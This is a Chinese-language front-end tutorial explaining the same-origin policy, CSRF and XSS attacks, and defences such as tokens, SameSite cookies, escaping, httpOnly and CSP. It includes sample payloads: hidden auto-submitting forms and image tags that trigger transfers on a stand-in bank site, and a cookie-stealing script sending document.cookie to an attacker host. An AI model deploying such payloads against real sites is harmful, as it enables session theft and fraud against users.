前言
如今人們的生活已經離不開網絡,每天都有大量的信息通過web頁面進入每個人的視線,那么web網路安全就顯得尤為重要。
正文
web網絡安全,主要由三個方面來保障:
- 同源策略
- 預防xss攻擊
- 預防csrf攻擊
接下來我們一個一個詳細講解。
同源策略
同源策略,作為一個前端工程師,應該是必備知識。大多數人接觸到同源策略都是在和后端交互發(fā)送Ajax請求,發(fā)生跨域時。那你知道什么是同源策略么?實際上同源策略還有其他兩個層面,你知道嘛?
什么是同源策略
我們首先了解下一個URL地址的組成部分。
https://juejin.cn/user/1222312662941191?paramse=不知名參數#hash
我們在這個頁面看下location里面有些什么
這里我們僅講解常見的一些字段
| 字段名 | 意義 |
|---|---|
| hash | fragment(信息片斷),指定網絡資源中的片段,常用于頁面錨點,或者spa頁面中的hash路由 |
| host | 域名或者ip地址 |
| protocol | 協議:常見的有http、https、ftp |
| port | 端口號:http默認是80端口,https默認是443端口 |
| pathname | 由零或多個“/”符號隔開的字符串,一般用來表示主機上的一個目錄或文件地址。 |
| search | 頁面的查詢參數 |
了解了URL的參數。那我們就來解釋什么是同源
同源:一個URL的協議、域名(多級域名和主域名一致)、端口一致的情況下才屬于同源。
那么同源策略就是:兩個同源的地址之間是可以相互讀寫網頁數據、相互操作DOM元素、相互發(fā)送XMLHttpRequest。
針對上面的描述我們舉例說明哪些域名之間是同源的:
baseURL: https://juejin.cn/
| URL | 是否同源 | 原因 |
|---|---|---|
| http://juejin.cn/ | 否 | 協議不同 |
| https://juejin.cn/:8000 | 否 | 端口不相同,https默認端口號443 |
| https://juejin.com/ | 否 | 域名不同 |
| https://juejin1.cn/ | 否 | 域名不同 |
| https://hahahaha.juejin.cn/ | 是 | 主域名和多級域名相同 |
同源策略的三個方面:
- DOM層面
- 數據層面
- 網絡層面
DOM層面
同源策略限制了不同源的js腳本,不能對頁面的DOM結構進行讀寫操作。
比如:
我們在index.html有一行HTML代碼
<a href="./details.html" target="_blank">
然后在details.html里加入加入一行JS代碼
opener.document.body.style.backgroundColor = 'red'
當我們在index.html中通過點擊a標簽打開details.html,時會發(fā)生什么呢?
沒錯!當我們打開details.html后切換到index.html時我們會發(fā)現。index.html背景色變成了紅色。
這就是同源策略中同源的js腳本可以更改頁面的DOM結構。但是如果兩個html不是同源,就無法實現。
ps: 需要將兩個頁面放在服務器端哦~直接用http-server -c-1 啟動一個服務器。
數據層面
同源策略限制了不同源的js腳本,不能對頁面的cookie,localStorage,SessionStorage,IndexDB進行讀寫操作。
還是使用上面兩個頁面舉例
我們在index.html有一行JS代碼
localStorage.setItem('first','哈哈哈哈')
然后在details.html里加入加入一行JS代碼
alert(opener.localStorage.getItem('first'))
當我們在index.html中通過點擊a標簽打開details.html,時會發(fā)生什么呢?
沒錯!當我們打開details.html時頁面會彈出“哈哈哈哈”。
這就是同源策略中同源的js腳本可以讀寫頁面數據。但是如果兩個html不是同源,就無法實現。
ps: 需要將兩個頁面放在服務器端哦~。
網絡層面
這個就是我們開發(fā)中常常遇到的問題。web端向不同源的服務器發(fā)送XMLHttpRequest時會發(fā)生跨域。
這里引申出前端如何跨域?
可以看出同源策略可以保護我們?yōu)g覽的web頁面不會被隨意篡改,因為只用同源下才可以讀寫頁面資源。
但是這樣我們的web網頁真的就完成無懈可擊了嘛?
CSRF攻擊
什么是CSRF攻擊呢?
CSRF: 跨站請求偽造。舉例說明CSRF大體步驟:
- 小明想看看自己賬戶里有多少余額,于是通過賬號密碼登錄到
http://zhifubao.com/的官網,此時官網會記錄下小明的登錄狀態(tài)。 - 這時候攻擊者給小明發(fā)送了一封電子郵件--“性感荷官在線發(fā)牌,點擊鏈接領取5000元現金紅包”。小明心動了,點擊了郵件中的鏈接。
- 第三方的網站被打開,網站中有一段代碼
<img src="http://zhifubao.com/api/transferMoney?money=1000&to=hacker">
代碼中有個請求轉賬1000元給hacker。
- 由于之前小明已經登錄了
http://zhifubao.com/官網,所以攻擊者繞過了登錄,讓小明轉賬給自己1000元。小明失去了1000元也沒有見到性感荷官。
這就是一個簡單的CSRF攻擊的流程。
通過上面的例子我們可以得出,CSRF攻擊主要是
利用用戶的登錄狀態(tài),通過第三方網站,發(fā)送請求做一些壞事,再誘惑用戶點擊進第三方網站。
攻擊方式
用戶點擊進入第三方網站后,主要的攻擊方式有三種
自動發(fā)送get請求
這種方法就像我們剛剛舉的例子第三方網站有個一圖片,圖片地址是一個get請求,然后錢就沒有。
<img src="http://zhifubao.com/api/transferMoney?money=1000&to=hacker">
自動發(fā)送post請求
這個方法稍微復雜點,需要有一個表單用來發(fā)送post請求。
<form id="getMoney" action="http://zhifubao.com/api/transferMoney" method="POST">
<input type="hidden" name="money" value="1000">
<input type="hidden" name="to" value="hacker">
</form>
<script>
document.getElementById('getMoney').submit()
</script>
誘導用戶點擊鏈接
這種方法其實和第一種比較類似。
<a taget="_blank">
點擊查看性感荷官,領取5000元現金紅包
</a>
了解完整個攻擊流程我們可以發(fā)現。其實CSRF攻擊他是無法獲取到用戶的信息,他只是借用用戶已經在站點登錄的狀態(tài),發(fā)送請求。而且因為只發(fā)送請求,無法接受返回數據, 所以這種攻擊方式也無法獲取到服務器返回數據,只能通過請求修改服務端的數據。
預防CSRF攻擊
- 驗證Token,每次瀏覽器發(fā)送請求時都需要攜帶一個后臺認可的token。只有攜帶合法token,服務器才會響應請求。
- 驗證referer,通過驗證請求頭中的referer字段,判斷是否是由合法的站點來源請求的。但是這種方式如果瀏覽器源碼被篡改,無法保證referer的正確性。
- 對cookie設置SameSite,該屬性設置 Cookie 不隨著跨域請求發(fā)送,該屬性可以很大程度減少 CSRF 的攻擊,但是該屬性目前并不是所有瀏覽器都兼容。
XSS攻擊
什么是XSS攻擊呢?
XSS: 跨站腳本攻擊。舉例說明XSS大體步驟:
- 一個帶評論功能的站點。攻擊者在評論區(qū)輸入,并提交到服務器
><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
- 攻擊者將自己的網址
http://getMoney.com設置允許跨域請求 - 評論成功后。被攻擊網站將攻擊者的評論展現在當前頁面,此時被攻擊的網站中相關
HTML可能為
<div>
<img src="http://touxiang.com">
<p>><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script></p>
</div>
- 當其他用戶瀏覽此網頁時。因為網頁代碼中多了一個
script標簽。執(zhí)行script腳本,獲取當前登錄用戶的cookie,發(fā)送給攻擊者,有了用戶的cookie就可以使用其模擬用戶登錄,然后為所欲為為所欲為為所欲為。
這就是XSS攻擊的一種簡單方式。
通過上面的例子我們可以得出,攻擊主要是
通過向網站注入腳本獲取用戶信息或操作行為,然后為所欲為。
攻擊方式
主要有三種:存儲型、反射型和DOM-based
存儲型
這種方法就像我們剛剛舉的例子。攻擊腳本被儲存在服務器。每當頁面展示,當前用戶都會被攻擊。
例如在評論區(qū)輸入可執(zhí)行腳本。
><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
反射型
這種攻擊常常將腳本放置在URL中。
- 攻擊者將腳本放在URL中,
https://www.zhifubao.com/?name=<script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
- 而當前網站服務端將name從URL中取出,拼接在HTML中返回給瀏覽器
<div>{{name}}</div>
- 頁面中會多生成一個script標簽,執(zhí)行script,獲取用戶信息為所欲為。
<div><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script></div>
常見方法,發(fā)送郵件中帶有惡意鏈接。誘導用戶點擊。
DOM-based
和上一種攻擊類似,DOM型XSS其實是一種特殊類型的反射型XSS,它是基于DOM文檔對象模型的一種漏洞。
- 攻擊者通過將腳本放在URL中
https://www.zhifubao.com/?name=<script>document.body.innerHTML = '哈哈哈哈哈'</script>
- 誘導用戶點擊帶有惡意腳本的URL
- 瀏覽器解析URL執(zhí)行腳本,操作DOM元素,完成XSS攻擊
預防XSS攻擊
- 對用戶輸入進行檢查轉義:將
<script><iframe>中的括號進行轉義 - 設置httpOnly,防止js獲取cookie。
- 開啟CSP安全策略
CSP是什么
CSP是一種有效防止XSS攻擊的方法。本質上是建立了一個白名單,規(guī)定了瀏覽器只能執(zhí)行特定來源的代碼。
有兩種途徑設置CSP
- HTML中添加meta標簽 指定Content-Security-Policy 規(guī)則
- 服務器添加 Content-Security-Policy 響應頭來指定規(guī)則
HTML中CSP
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://zhifubao.com">
只允許加載運行當前域、https://zhifubao.com下的js。
響應頭中CSP
在http請求的ResponseHeaders添加
content-security-policy: script-src 'self' htts://zhifubao.com;
到這里我們就把web端網絡安全講解完啦。關于csp的詳細情況大家可以自行google,這里就不贅述啦。